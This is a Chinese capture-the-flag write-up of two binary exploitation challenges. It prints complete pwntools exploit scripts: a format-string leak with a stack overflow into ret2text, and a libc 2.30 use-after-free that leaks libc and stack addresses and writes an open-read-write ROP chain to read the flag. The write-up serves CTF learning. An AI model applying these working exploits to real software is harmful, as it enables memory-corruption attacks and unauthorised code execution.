做了pwn1跟pwn3,pwn2没做出来(俺是废物)…
pwn1
签到题,但是我们要记住
.text:080485F8 mov eax, 0
.text:080485FD mov ecx, [ebp+var_4]
.text:08048600 leave
.text:08048601 lea esp, [ecx-4]
.text:08048604 retn
32位的main的最后有一个将ebp转为esp的代码,如果你栈溢出破坏了ebp,会导致[ecx-4]报错,
因此这个题的做法也很简单,利用格式化字符串漏洞泄露ebp,然后通过gets来进行ret2text
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('qiandao')
p = 0
def pwn(ip,port,debug):global pif(debug == 1):p = process('./qiandao')else:p = remote(ip,port)#gdb.attach(p,"b *0x80485F0")p.sendlineafter("your name:\n","%2$p")p.recvuntil("0x")addr=int(p.recv(8),16)p.sendlineafter(" problem?\n","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa"+p32(addr+4)+p32(0x804857D))p.interactive()
if __name__ == '__main__':pwn('183.129.189.60',10013,0)
payload那一坨aaa是我测试偏移的时候写的,懒得改了
bigbear
这个是个libc2.30下的UAF。不一样的是开启了沙盒保护,
常规的做法是利用UAF更改free_hook令free_hook指向setcontext里的某一段汇编,具体在libc里的代码为
.text:00000000000520A5 mov rsp, [rdi+0A0h]
.text:00000000000520AC mov rbx, [rdi+80h]
.text:00000000000520B3 mov rbp, [rdi+78h]
.text:00000000000520B7 mov r12, [rdi+48h]
.text:00000000000520BB mov r13, [rdi+50h]
.text:00000000000520BF mov r14, [rdi+58h]
.text:00000000000520C3 mov r15, [rdi+60h]
.text:00000000000520C7 mov rcx, [rdi+0A8h]
.text:00000000000520CE push rcx
.text:00000000000520CF mov rsi, [rdi+70h]
.text:00000000000520D3 mov rdx, [rdi+88h]
.text:00000000000520DA mov rcx, [rdi+98h]
.text:00000000000520E1 mov r8, [rdi+28h]
.text:00000000000520E5 mov r9, [rdi+30h]
.text:00000000000520E9 mov rdi, [rdi+68h]
以上为libc2.27的代码,如图,我们只要能控制rdi与rdi往下的一段内存空间,我们就能控制所有寄存器。
但是在libc2.30里,我们发现事情没有辣么简单
.text:000000000005803D mov rsp, [rdx+0A0h]
.text:0000000000058044 mov rbx, [rdx+80h]
.text:000000000005804B mov rbp, [rdx+78h]
.text:000000000005804F mov r12, [rdx+48h]
.text:0000000000058053 mov r13, [rdx+50h]
.text:0000000000058057 mov r14, [rdx+58h]
.text:000000000005805B mov r15, [rdx+60h]
.text:000000000005805F test dword ptr fs:48h, 2
.text:000000000005806B jz loc_58126
.text:0000000000058071 mov rsi, [rdx+3A8h]
.text:0000000000058078 mov rdi, rsi
.text:000000000005807B mov rcx, [rdx+3B0h]
我们发现在libc2.30里面,原来是rdi的变成了rdx(libc.2.29以后就是这样的了),这直接就让控制rdx,也就是更改一个三参函数的hook。至少我是做不到的。
那么改怎么做呢,我们还是劫持返回地址来执行ORW。
首先还是利用漏洞来泄露出libc地址。
然后利用libc里面的environ结构体来泄露栈地址,
然后利用漏洞在返回地址写入ORW
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('bigbear')
p = 0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def pwn(ip,port,debug):global pif(debug == 1):p = process('./bigbear')else:p = remote(ip,port)def add(size,content):p.sendlineafter(">>","1")p.sendlineafter("input the size:\n",str(size))p.sendafter("input the content:\n",content)def free(index):p.sendlineafter(">>","2")p.sendlineafter("Please input the idx\n",str(index))def show(index):p.sendlineafter(">>","3")p.sendlineafter("Please input the idx:\n",str(index))def edit(index,content):p.sendlineafter(">>","4")p.sendlineafter("Please input the idx\n",str(index))p.sendafter("input the content:\n",content)for i in range(8):add(0x90,"A"*0x90)add(0x140,"A"*0x140)add(0x140,"A"*0x140)add(0x100,"A"*0x140)add(0x140,"flag\x00".ljust(0x140,"\x00"))for i in range(8):free(i)show(7)p.recvuntil("Content:")main_arena=u64(p.recv(6).ljust(8,"\x00"))libcbase_addr=main_arena-(0x7f6190f26be0-0x00007f6190d3c000)free_hook=libcbase_addr+libc.symbols["__free_hook"]setcontext_addr=libcbase_addr+libc.symbols["setcontext"]environ_addr=libcbase_addr+(0x7fbfb459b2c0-0x7fbfb43ad000)pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()open_addr=libcbase_addr+libc.symbols["open"]read_addr=libcbase_addr+libc.symbols["read"]puts_addr=libcbase_addr+libc.symbols["puts"]print "main_arena=",hex(main_arena)edit(6,p64(environ_addr-0x10))add(0x90,"A"*0x10)add(0x90,"A"*0x10)show(13)p.recvuntil("Content:AAAAAAAAAAAAAAAA")stack_addr=u64(p.recv(6).ljust(8,"\x00"))print "stack_addr=",hex(stack_addr)free(9)free(8)edit(8,p64(0)+"\x20")free(8)show(8)p.recvuntil("Content:")heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x7a0print "heap_addr=",hex(heap_addr)orw=p64(0)*2orw+=p64(pop_rdi_ret)+p64(heap_addr+0xb50)orw+=p64(pop_rsi_ret)+p64(72)orw+=p64(open_addr)orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x30)+p64(read_addr)orw+=p64(pop_rdi_ret)+p64(heap_addr+0x30)+p64(puts_addr)add(0x140,p64(stack_addr-0x140))add(0x140,p64(stack_addr-0x140).ljust(0x140,'\x00'))#gdb.attach(p,"b*read")add(0x140,orw+'\n')#p.sendlineafter(">>","5")p.interactive()
if __name__ == '__main__':pwn('buuoj.cn',20035,1)
总结
三个题还蛮不错的,第二个pwn没做出来,尴尬,这次比赛时间有点短小啊。。。
以前遇到沙盒堆总是喜欢利用setcontext来做,但是这次不行了。